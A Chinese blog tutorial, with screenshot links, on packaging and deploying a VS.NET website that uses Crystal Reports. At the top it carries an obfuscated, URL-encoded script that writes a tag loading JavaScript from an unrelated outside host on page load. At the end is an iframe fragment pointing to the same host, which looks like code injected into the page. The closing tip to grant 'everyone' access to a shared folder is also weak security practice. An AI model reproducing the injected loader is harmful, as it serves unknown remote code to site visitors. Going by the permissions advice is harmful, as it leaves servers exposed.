HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
图解水晶报表部署
图解使用
VS.NET
部署含水晶报表的网站
原创作者
:
寒羽枫
(cityhunter172)
Crystal Report
,中文名称“水晶报表”,因为做报表的功能强大,所以被
Visual Studio.Net
整合进来了。其中
Visual Studio.Net 2002
中的
Crystal Decisions
版本为
1.0
;
Visual Studio.Net 2002
中的
Crystal Decisions
版本为
1.1
;如果你单独安装了
Crystal Report 9.2
,那么
Crystal Decisions
版本则为
2.0
;我现在安装的
Crystal Report 11.0
,界面很漂亮的哦,
Crystal Decisions
版本则为
3.0
。
公司开发的很多网站都用到水晶报表,此文是我为新人上课所写的一篇教材,趁业余时间重新整理了一下,把它搬了出来。如果它对你有所帮助,不介意的话请留下你的评论;如果你认为有什么地方不对的,那就求你在看完此文后,告诉我你的看法。总而言之,言而总之:我先抛一块砖,有玉的尽管砸过来吧……
一、
新建一个测试项目
此例方案名称为“
ReportsDeploy
”,向该方案添加一个空白的水晶报表“
CrystalReport1.rpt
”,如下图
http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy01.JPG
二、
添加安装项目
右键点击
解决方案名称
“
ReportsDeploy
”(注意不是项目名称)→
添加(
Add
)→新项目(
New Project
)
→
选择“安装和部署项目(
Setup and Deployment Projects
)”
→
选中“
Web
安装项目(
Web Setup Project
)”
→
此处输入名称
WebSetup2
(注意项目的存放路径),如下图:
http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy02.JPG
http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy03.JPG
三、
添加安装项目的输出
右键点击
项目名称
“
WebSetup2
”
→
添加(
Add
)→
项目输出(
Project Output
)
→
选择项目“
ReportsDeploy
”
→
选中主输出“
Primary
”、内容文件“
Content Files
”(
Add
)。注意源文件“
Source Files
”这个选项,只有选中它,项目中的“
CrystalReport1.rpt
”才会包含在安装文件内,否则要自行拷贝。见下图
http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy0
4.JPG
http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy05.JPG
四、
添加合并模块
右键点击
项目名称
“
WebSetup2
”
→
添加(
Add
)→
合并模块(
Merge Module
)→
若是
Visual Studio .Net 2002
,请选中“
Database_Access.msm
”“
Database_Access_enu.msm
”“
Managed.msm
”“
regwiz.msm
”。注:对话框路径为“
C:/Program Files/Common Files/Merge Modules
”详见图:
http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy06.JPG
http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy07.JPG
若是
Visual Studio .Net 2003
,请选中“
Crystal_Database_Access2003.msm
”“
Crystal_Database_Access_enu2003.msm
”“
Crystal_Managed2003.msm
”“
Crystal_regwiz2003.msm
”详见图:
http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy08.JPG
五、
设置
Crystal Reposrt
组件的序列号
右键点击水晶报表注册向导模块“
Crystal_regwiz2003.msm
”
→
属性(
Properties
)→
输入
Visual Studio .Net
中的水晶报表序列号(
License Key
)。见下图
http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy09.JPG
http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy10.JPG
水晶报表序列号获取如下:点击
Visual Studio .Net
工具栏帮助(
Help
)
→
关于……(
About
……)→
选中水晶报表(
Crystal Reports for Visual Studio .Net
)→
点击复制信息(
Copy Info
)。见下图
http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy11.JPG
http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy12.JPG
六、
生成安装文件
右键点击项目名称
“
WebSetup2
”
→
生成(
Build
)→
执行完毕后,可在安装项目的“
Debug
”文件夹中找到安装文件。见下图
http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy13.JPG
http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy14.JPG
七、
部署网站
运行安装程序
→
下一步(
Next
)→
输入此项目对应的虚拟目录名称、以及将项目安装至本机哪个“端口”的
IIS
站点下→
下一步(
Next
)→
完成(
Close
)。见下图
http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy15.JPG
http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy16.JPG
http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy17.JPG
http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy18.JPG
http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy19.JPG
八、
测试网站
打开
Internet
信息服务管理器(
IIS
),即可看到所安装的虚拟目录“
WebSetup2
”。注意只有在
IIS
看到了虚拟目录
CrystalReportWebFormViewer2
(有时是
CrystalReportWebFormViewer1
),部署水晶报表站点才算是成功。见下图
http://blog.csdn.net/images/blog_csdn_net/cityhunter172/169136/o_ReportsDeploy20.JPG
Trackback:
http://tb.blog.csdn.net/TrackBack.aspx?PostId=573709
在上述部署并安装之后,在运行时可能什么出现种种错误,其中一个错误就是:
在产生水晶报表文件(pdf、excel等文件)时出现没有权限访问的情况,这时,
需要把要产生报表文件所在的文件夹目录共享,把everynone加上权限,
如果您的server是WIN NT或2000,另需要把用户web application这个权限加上,
这是我个人的经验。
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">